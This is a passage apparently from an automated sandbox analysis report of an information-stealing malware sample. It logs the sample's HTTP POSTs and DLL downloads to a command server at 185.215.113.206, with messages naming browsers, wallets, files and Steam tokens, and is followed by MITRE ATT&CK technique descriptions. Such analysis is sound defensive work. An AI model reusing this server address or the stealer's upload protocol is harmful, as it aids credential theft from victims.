name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="message"browsers------FHIDBKFCAAEBFIDHDBAE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAFHCBFHDHCAAKFHDGDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 48 43 42 46 48 44 48 43 41 41 4b 46 48 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 48 43 42 46 48 44 48 43 41 41 4b 46 48 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 48 43 42 46 48 44 48 43 41 41 4b 46 48 44 47 44 2d 2d 0d 0a Data Ascii: ------EBAFHCBFHDHCAAKFHDGDContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------EBAFHCBFHDHCAAKFHDGDContent-Disposition: form-data; name="message"plugins------EBAFHCBFHDHCAAKFHDGD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 2d 2d 0d 0a Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="message"fplugins------KKEHDBAEGIIIEBGCAAFH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBGHost: 185.215.113.206Content-Length: 5607Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKFBAECBAEGDGDHIEHIHost: 185.215.113.206Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAEHJJECAEGCAAAAEGIHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJECFHCBKKEBAKFIJDHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 2d 2d 0d 0a Data Ascii: ------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="file"------KJECFHCBKKEBAKFIJDHI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHCAKKEGCAAFHJJJDBKJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------GHCAKKEGCAAFHJJJDBKJContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------GHCAKKEGCAAFHJJJDBKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHCAKKEGCAAFHJJJDBKJContent-Disposition: form-data; name="file"------GHCAKKEGCAAFHJJJDBKJ--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCGDBKEGHIEBGDBFHDHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHDHCAAKECFIDHIEBAKFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 2d 2d 0d 0a Data Ascii: ------FHDHCAAKECFIDHIEBAKFContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------FHDHCAAKECFIDHIEBAKFContent-Disposition: form-data; name="message"wallets------FHDHCAAKECFIDHIEBAKF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJJECBKKECFIEBGCAKJHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJJECBKKECFIEBGCAKJContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------EHJJECBKKECFIEBGCAKJContent-Disposition: form-data; name="message"files------EHJJECBKKECFIEBGCAKJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 2d 2d 0d 0a Data Ascii: ------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="file"------IJEGHJECFCFCBFIDBGCG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKFBKEHDBGHJJKFIEGDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 2d 2d 0d 0a Data Ascii: ------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="message"ybncbhylepme------BAKFBKEHDBGHJJKFIEGD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 65 35 63 35 35 31 37 38 30 31 36 66 37 30 33 38 30 36 37 61 31 66 35 62 66 36 66 39 33 38 34 30 38 61 65 65 38 39 35 62 37 34 66 36 32 65 61 35 31 34 35 63 64 35 38 64 66 32 62 65 31 63 32 31 65 38 63 66 38 62 36 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"0e5c55178016f7038067a1f5bf6f938408aee895b74f62ea5145cd58df2be1c21e8cf8b6------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BFBGHDGCFHIDBGDGIIIE--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
